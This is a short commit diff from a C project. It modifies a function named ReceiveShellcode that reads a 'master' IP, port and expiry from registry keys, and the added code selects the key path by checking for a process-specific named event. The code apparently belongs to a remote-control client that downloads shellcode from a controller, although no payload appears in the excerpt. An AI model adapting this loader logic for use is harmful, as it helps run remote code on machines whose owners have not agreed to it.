Release v1.2.0

This commit is contained in:
yuanyuanxiang
2025-12-25 01:19:33 +01:00
parent 3afcef7779
commit a297f3419f
12 changed files with 79 additions and 5 deletions

View File

@@ -226,7 +226,15 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
char addr[100] = { 0 }, hash[33] = { 0 };
strcpy(addr, sIP);
const char* path = "Software\\ServerD11\\settings";
BOOL isAuthKernel = FALSE;
char eventName[64];
snprintf(eventName, sizeof(eventName), "YAMA_%d", GetCurrentProcessId());
HANDLE hEvent = OpenEventA(SYNCHRONIZE, FALSE, eventName);
if (hEvent) {
CloseHandle(hEvent);
isAuthKernel = TRUE;
}
const char* path = isAuthKernel ? "Software\\YAMA\\auth" : "Software\\ServerD11\\settings";
char* saved_ip = ReadRegistryString(path, "master");
char* saved_port = ReadRegistryString(path, "port");
char* valid_to = ReadRegistryString(path, "valid_to");